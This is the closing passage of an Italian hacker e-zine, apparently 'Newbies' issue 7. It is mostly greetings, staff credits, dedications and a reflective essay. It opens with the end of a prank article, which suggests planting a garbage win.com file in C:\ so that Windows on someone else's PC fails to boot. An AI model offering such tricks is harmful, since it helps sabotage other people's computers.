dovrebbe funzionare anche con gli altri nomi di dispositivi di sistema (con, com1, aux, $MMXXXX0, ecc...) 3- Creare un bel file win.com con dentro un po' di caratteri a caso nella directory C:. Al successivo riavvio ci ritroveremo senza wincrost (che e' anche meglio). Questo perche' all'avvio del sistema il file win.com viene cercato prima di tutto nella directory principale e se non viene trovato lo va a cercare in c:\windows. Trovando il suddetto file nella directory principale, viene eseguito ma avendo un contenuto non valido wincroccolo non parte. 4- Installare l'ultimo aggiornamento di wincazz sul pc su cui vogliamo infierire hehehehe. SALUTI ---------------------------------------------------------------------- N0bodY88, Tony, Elisa, Paurina, |D|skt0p, ^{|X|}^ e tutti i membri di S0ftpj. _ _ ____ _ | \ | | _____ _| __ )(_) ___ ___ | \| |/ _ \ \ /\ / / _ \| |/ _ Y __| | |\ | __/\ V V /| |_) | | __|__ \ |_| \_|\___| \_/\_/ |____/|_|\___|___/ Redattori ------------> Dante Alighieri & N0bodY88-ooo Fratello -------------> N0bodY88-ooo E-zine by ------------> Dante Alighieri & N0bodY88-ooo NewBies Staff Ascii by -------------> N0bodY88-ooo & |-|15cR4zYm1nD & S0l1t4r10~M4N Loghi NewBies by -----> RigoR MorteM Articoli -------------> NewBies Staff & Friends AllDedicatedTo -------> NoBoLeTTiNo CucCioLotto & OurSeLf :D ͻ Ŀ SALUTI ٺ ͼ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Dante Alighieri & N0bodY88-ooo SALUTANO: tutta la HDE quindi Smav, Adry, V56, Sharra che mi hanno fatto passare i piu' bei mesi della mia vita :D :* ve voio bene bro & sisters tutti gli amici di #c.a.c.c.a in particolare smav, adry, sharra, v56, DASY, xunil, djpulce, dark-elf, _p0nic0_, ^Sonic^, gsus, devilnet, korg, theduke, k0ma, smilzo, ninchua, Danko, mosaico, c45per, SuperAngy, ILY, Trunkz, ZioManiak(ghay), cthulhu, shania, solero \sPIRIT\, guf0z aka guf`l0ve, mr_bis0n, neogmc, rubrik, vaffa, vejeta tutti i bro che dimentico ;) tutti gli amici di #hollagrafix in particolare neuro, smilzo, nonex, l0rdo, vecna, ron/mk, e`m0tion, \sPIRIT\, asfalto85, black berry, bikappa, peter_And, o2, ahpook, e tutti i vari n0body85 e n0body che mi fanno pensare di cominciare a sdoppiarmi senza accorgermene ;) tutto il NewBies Staff tra cui N0bodY88, Dante Alighieri, Harlok, Blinking, Master, Firebeam, aLT255, Quequero, +MaLaTTiA, Cod, Ritz, Johnny, Ironman, [-W|nz-], _p0nic0_, Nick1, mR_bIs0n-Mr_Skull, Rez, Avogrado, Zippy2k, Dark_elf, DeviLNeT, JohnnyRunner, Barninga Z!, rwxrw-r-x, The Intruder, XuNiL, |CyRaX|, recidjvo, M4VER1CK, Vejeta, F3D3R1[0, Ax1s, XaRaBaS, r3b0ot, Darkside, Lord Destruction, Vecna, Ja[3]Ck, Zinco, Vulcan,Blum, Ron|n, Urkes, SkHammer, Avatar666, ElectroRipper, Nietzsche, Spymaster, Rafcrash, ZioFill, Darkman, Ramesse, Wurzel, Fusyllo, [Akuma], Nemesis, Ghimlet, Sorrow The Prince, Meew, Fritz, Alby, Sciaman, Game, Lopks, ipLey, Killex, Neural Noise, Pusillus, Kill3xx, S2, Frensis, GCC, Alpha-666, Kalidor, Velvet, Vaffa, ~aBatha, Tetofuck, Pankrazio, McFly, Sepiroth, SoftWord, Hamelin, Brusto, Anti-social, [max], StuZzik0&|bLeaH, BlackDruiD, Z10-K41i, \JusTme\, St0rM BriNgeR, Ennaro, Mr Skull, S_A_S_H_A, Devil_666, Carnifex, KarmA_YogA, Pippo Calo' e a tutti quelli che ho dimentica to {|:D tutti gli Spippolatori ed in particolare RigoR MorteM, Master, Wurzel, Teresa Canis, X-Hacker, Harlock, Misha, ChRoMe, ADaM, Tira, F14m3r, Brigante, Fritz, Buttha, Azathoth, NighTiger, AntoMar, erGoline, SirPsychoSexy, Harlock, Jamil :), Conte Stefy Rainer, Baccoz, Hackmore, Chrome, Quequero e i suoi due simpaticcissimi amici tutti quelli di BFI ed in particolare \sPIRIT\, Black Berry, Blinking, Vanadio, Cavallo, Smaster, Belfaghor, Fusys, Nelloz, vecna. PigPen, e tutti i fratelli dell'orda. tutti quelli di Systemdown in particolare Ragged Robin e Infected machine tutti gli altri ed in particolare NO SPAM, Meimi, Black Baron, Fake, Zelig, Newbie 1.0, Luna, Mayhem, Maniac666, Dr_Slump, Lupo, Adriana, raul, A-SyNcHrO, BlackJAM, Linux, Nt Flander, L0rdFelix, Antirez, Awgn, Li-nux, w00w00, lo Smilzo, hola^, Lord Guf, Li-nux, Oldiron 61, Bobo, Lando e tutti quei grandi degli Attila Hack e del Wannabe Staff, ^Acidburn, war-lock, Nyarlothe, Azim, NaiL_d0d, ]s4TsYN[, `dize`, Napo, NikDH, Jammina e Esponential Force. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|- ͻ Ŀ THIS NUMBA IS DEDICATED BY Dante Alighieri TO: ٺ ͼ [La vita...xch mi propone sempre nuove situazioni, sempre + incasinate ] [Il suo amoruccio.....perche'...boh...te la meriti :P ] [TheDuke... ;P ] [\sPIRIT\...xh cazzo frat..ammazza quanto dormi!! ] [I gattini trovati all'hackit (Debian, Slack, SuSE ... )...xch erano teneri!] [I loculi dell'hackit...xch di posti + zozzi ce ne sono pochi ] [I Softpj...xch molti di voi sono umili...altri meno..ma cos la vida ] [Smilzo...xch m'ha soddisfatto sessualmente ] [LOA di milano...xch siete forti!!! ] [MADDLER...xch..PORKODDIO..xch...PORKODDIO...non lo so xch PORKODDIOOOO!!!] ------------------------------------------------------------------------------ [Ghost Track - Newbies 7 EOF] Salve. Probabilmente non arrivera' quasi nessuno a leggere fino a qui. Probabilmente anche se qualcuno la vedesse non la leggerebbe, questa parte. Questa volta sembra sia toccato a me dare una delle ultime revisioni a questo fantastico numero di newbies, e mi prendo qualche piccola liberta' giusto perche' sono fatto cosi' e mai permettero' a qualcuno di cambiarmi. Se non vi va bene, cancellate questa sezione e salvate il file txt, cosi' non avrete piu' di che preoccuparvi. A chi invece fosse interessato di sentire un'ultima riflessione prima di chiudere il computer e andare a nanna, per chi fosse cosi' malato da non avere niente di meglio da fare o per chi mi conosce e per pieta' nei miei riguardi ha deciso di seguirmi ancora per l'ennesima volta nella mia mente malata, per ciro, che visto che teniamo il cervello su memoria condivisa sa sempre quello che mi passa per la testa, e mi capisce, per te che ancora leggi (cazzo allora di fegato devi proprio averne=). Per voi, e per tutte quelle persone che sono la fuori e che avrei voluto portare dentro la mia vita, ma non ho mai avuto il coraggio, un'ultima piccola riflessione per chiudere questo numero che sta per uscire (Dante, mica mi avevi promesso che lo facevi uscire entro fine Agosto?=) Ecco qui. Io penso che nulla sia cosi' forte come il sentimento umano. Percio' non faro' monologhi filosofici, discussioni etiche o trame di film. Semplicemente, un punto. Un punto in mezzo allo schermo, un semplice punto. Un punto per far si che chiunque sia preso nella foga del mondo si fermi un secondo, a fissare quel minuscolo e insignificante punto in mezzo al suo schermo. Fissalo. Non domani, non un'occhiata e via. Tutto quello che ti chiedo, amico mio, e' di fermarti un attimo, un attimo solo, ma seriamente. Quel punto indica tutta la tua vita, tutta la mia vita. Le indica non in quanto punto, ma in quanto ti sei fermato a riflettere. Penso che sia una delle cose che se vissute con lo spirito giusto siano bellissime. Se ho la fortuna di conoscerti, fissa quel punto, e ripensa ai bei ricordi che abbiamo in comune, alle stronzate che abbiamo detto e alle risate che si siamo fatti insieme, insomma, un bel momento con cui ricordarti di me. Se non ho questa fortuna, pensa a qualcos'altro che ti possa generare un senso di pace e tranquillita', e sappi che le sensazioni sono di un attimo, e quindi non si possono descrivere. Basta un altro attimo, fissando un punto in mezzo allo schermo, senza tentare di pensare a delle parole, semplicemente lasciare fluire il sentimento dentro di noi, attraverso di noi. Ho anche parlato fin troppo, chiudo con un saluto a Dante, a Nobo, e a tutti voi. E con il punto. . -----------------------------------------------------------------------------